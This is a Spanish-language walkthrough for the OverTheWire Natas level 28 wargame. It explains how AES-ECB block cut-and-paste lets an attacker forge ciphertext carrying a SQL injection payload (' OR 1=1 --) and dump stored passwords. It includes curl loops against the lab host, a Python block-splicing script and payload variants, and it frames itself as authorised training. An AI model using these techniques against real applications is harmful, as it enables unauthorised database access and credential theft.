Natas Nivel 28 a 29
Nivel oficial: http://natas28.natas.labs.overthewire.org
Este nivel combina criptografia simetrica defectuosa con inyeccion SQL: la aplicacion cifra la consulta del usuario con AES-ECB antes de enviarla al servidor, creyendo que eso la protege. La debilidad no esta en la clave sino en el modo de operacion: ECB es maleable bloque a bloque, lo que permite construir un ciphertext arbitrario sin conocer la clave. Este es un entorno de practica legal y autorizado; todas las tecnicas aqui descritas son validas exclusivamente en wargames y sistemas con permiso explicito.
Objetivo
Manipular el parametro cifrado que la aplicacion envia como consulta de busqueda para que, al descifrarse en el servidor, ejecute una query SQL con una condicion siempre verdadera (OR 1=1) y devuelva todas las contrasenas de la base de datos, incluida la de natas29.
Que aprendes
| Concepto / Herramienta | Para que sirve |
|---|---|
| AES-ECB (Electronic Codebook) | Modo de cifrado donde cada bloque de 16 bytes se cifra de forma independiente y determinista |
| Chosen-plaintext attack | El atacante controla el texto plano para deducir o fabricar bloques cifrados utiles |
| ECB block cut-and-paste | Reordenar o duplicar bloques cifrados para alterar el texto plano descifrado |
| URL-decode / Base64-decode | Extraer el ciphertext real del parametro de la URL |
| Padding PKCS#7 | Relleno estandar para que el plaintext sea multiplo de 16 bytes |
| SQL injection (OWASP A03) | Inyectar SQL en la query descifrada mediante bloques manipulados |
| Burp Suite / curl | Interceptar, modificar y reenviar peticiones HTTP |
Concepto clave
Por que ECB es maleable. En AES-ECB el servidor cifra el bloque N del plaintext con la misma clave siempre, sin depender de los bloques adyacentes (a diferencia de CBC, que encadena bloques con XOR). Esto implica:
- Si controlas el plaintext puedes alinear bytes arbitrarios para que caigan solos en un bloque.
- El ciphertext resultante de ese bloque es siempre el mismo para el mismo plaintext.
- Puedes copiar ese bloque cifrado y pegarlo en otra posicion del ciphertext total.
- El servidor descifrara el bloque manipulado obteniendo exactamente el plaintext que pusiste, aunque nunca haya cifrado ese mensaje completo.
Esto se llama ECB block cut-and-paste y es un ataque de chosen-plaintext sin necesidad de conocer la clave.
Plaintext: [ bloque A (16B) ][ bloque B (16B) ][ bloque C (16B) ]
Cifrado: [ CT_A ][ CT_B ][ CT_C ]
Si reordenamos: [CT_C][CT_A][CT_B] -> descifra como [C][A][B]
Paso a paso
1. Reconocimiento inicial
Accede con las credenciales de natas28 y observa el formulario de busqueda. Envia una busqueda de prueba (p. ej. test) y captura la URL resultante o la peticion con Burp Suite.
http://natas28.natas.labs.overthewire.org/search.php?query=<valor_base64_urlencode>
El parametro query contiene el ciphertext AES-ECB codificado en Base64 y luego URL-encodeado.
2. Decodificar el ciphertext
# Copia el valor del parametro query desde la URL y decodificalo
QUERY_ENCODED="<pega_aqui_el_valor_urlencode>"
QUERY_B64=$(python3 -c "import urllib.parse; print(urllib.parse.unquote('$QUERY_ENCODED'))")
echo "$QUERY_B64" | base64 -d | xxd | head -20Esto te muestra los bytes crudos del ciphertext. Anota su longitud: debe ser multiplo de 16.
3. Entender la estructura del plaintext cifrado
El servidor construye algo parecido a:
SELECT * FROM users WHERE query LIKE '%<TU_INPUT>%'La cadena completa (prefijo + tu input + sufijo) se cifra en bloques de 16 bytes. Tu objetivo es que la parte descifrada contenga ' OR 1=1 -- o similar para romper la logica de la query.
4. Medir el prefijo
Envia inputs de longitud creciente (1, 2, 3, … bytes) y observa cuando el ciphertext crece en 16 bytes. Ese salto indica que has llenado un bloque y has empujado un byte al siguiente. Con eso calculas cuantos bytes de padding necesitas para alinear tu payload al inicio de un nuevo bloque.
for i in $(seq 1 32); do
INPUT=$(python3 -c "print('A' * $i)")
# Envia la peticion y mide la longitud del ciphertext resultante
curl -s -u natas28:<pass_natas28> \
"http://natas28.natas.labs.overthewire.org/search.php?query=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$INPUT'))")" \
| grep -o 'query=[^"&]*' | head -1
doneAnota para que longitud de input el ciphertext cambia de tamano: ahi esta el limite de bloque.
5. Aislar un bloque controlado
Una vez que sabes el offset del prefijo, construye un input tal que un bloque de 16 bytes contenga exactamente los bytes de tu payload SQL. Por ejemplo, si el prefijo ocupa 10 bytes, necesitas 6 bytes de relleno mas 16 bytes de payload para que el payload quede solo en el segundo bloque:
[prefijo (10B) + padding (6B)] [payload_sql (16B)] [sufijo...]
bloque 0 (completo) bloque 1 bloque 2+
El bloque 1 del ciphertext corresponde entonces a tu payload SQL cifrado.
6. Construir el ciphertext malicioso
Extrae el bloque 1 del ciphertext (bytes 16 a 31) y sustituyelo o concatenalo en el ciphertext de una peticion base donde el sufijo espera exactamente esos bytes.
Nota: el payload SQL exacto (longitud, caracteres de escape, comentario
--o#, espacios) depende de como el servidor construye la query y del motor SQL subyacente. Es probable que necesites experimentar con variantes como' OR 1=1--,' OR '1'='1, etc., cada una alineada correctamente a 16 bytes con padding PKCS#7 o espacios. El enfoque tecnico es correcto; el ajuste fino requiere iteracion contra el servidor real.
import base64
import urllib.parse
# Ciphertext original (bytes) de una busqueda de referencia
ct_referencia = base64.b64decode("<tu_ciphertext_base64>")
# Bloque con tu payload SQL aislado (bytes 16-31 del ciphertext de payload)
ct_payload = base64.b64decode("<ciphertext_del_bloque_payload>")
bloque_payload = ct_payload[16:32]
# Reemplaza o inserta el bloque en la posicion adecuada del ciphertext de referencia
ct_nuevo = ct_referencia[:16] + bloque_payload + ct_referencia[32:]
# Recodifica para enviarlo
query_param = urllib.parse.quote(base64.b64encode(ct_nuevo).decode())
print(f"http://natas28.natas.labs.overthewire.org/search.php?query={query_param}")7. Enviar el ciphertext manipulado
curl -s -u natas28:<pass_natas28> \
"http://natas28.natas.labs.overthewire.org/search.php?query=<ciphertext_manipulado_urlencode>"Si el bloque esta bien alineado, la respuesta contendra todas las filas de la tabla, incluida la contrasena de natas29: <pass_natas29>.
Por que funciona
AES-ECB delega la seguridad semantica exclusivamente a la clave. Si el atacante puede enviar plaintexts arbitrarios y observar los ciphertexts correspondientes (chosen-plaintext), puede fabricar cualquier mensaje cifrado valido reordenando bloques, sin romper AES ni conocer la clave. El servidor descifra correctamente porque AES-ECB no tiene mecanismo de autenticacion ni integridad (no hay MAC, no hay IV encadenado). La aplicacion asume que “si esta cifrado, no puede haber sido manipulado”, lo cual es falso en ECB.
La inyeccion SQL funciona porque el plaintext descifrado se concatena directamente a la query sin prepared statements ni escape adecuado.
Errores comunes
| Error | Causa | Solucion |
|---|---|---|
| El ciphertext manipulado da error de padding | Los bloques finales quedan con padding invalido tras el corte | Asegurate de que el ciphertext total sigue siendo multiplo de 16 y que el ultimo bloque tiene PKCS#7 valido |
| La query no devuelve datos extra | El payload SQL no esta alineado al bloque correcto o tiene caracteres incorrectos | Ajusta el numero de bytes de relleno y prueba variantes del payload (--, #, espacios extra) |
| El servidor devuelve error 500 | La query descifrada tiene sintaxis SQL rota | Verifica que los comillas y comentarios SQL del payload cierran correctamente la query original |
| La URL con el ciphertext se corrompe | Bytes del ciphertext no estan correctamente URL-encodeados | Usa urllib.parse.quote(base64.b64encode(ct).decode(), safe='') sin caracteres safe |
Pasar al siguiente nivel
La contrasena obtenida de la base de datos es la de natas29. Conéctate en:
http://natas29.natas.labs.overthewire.org
Usuario: natas29
Contrasena: <pass_natas29>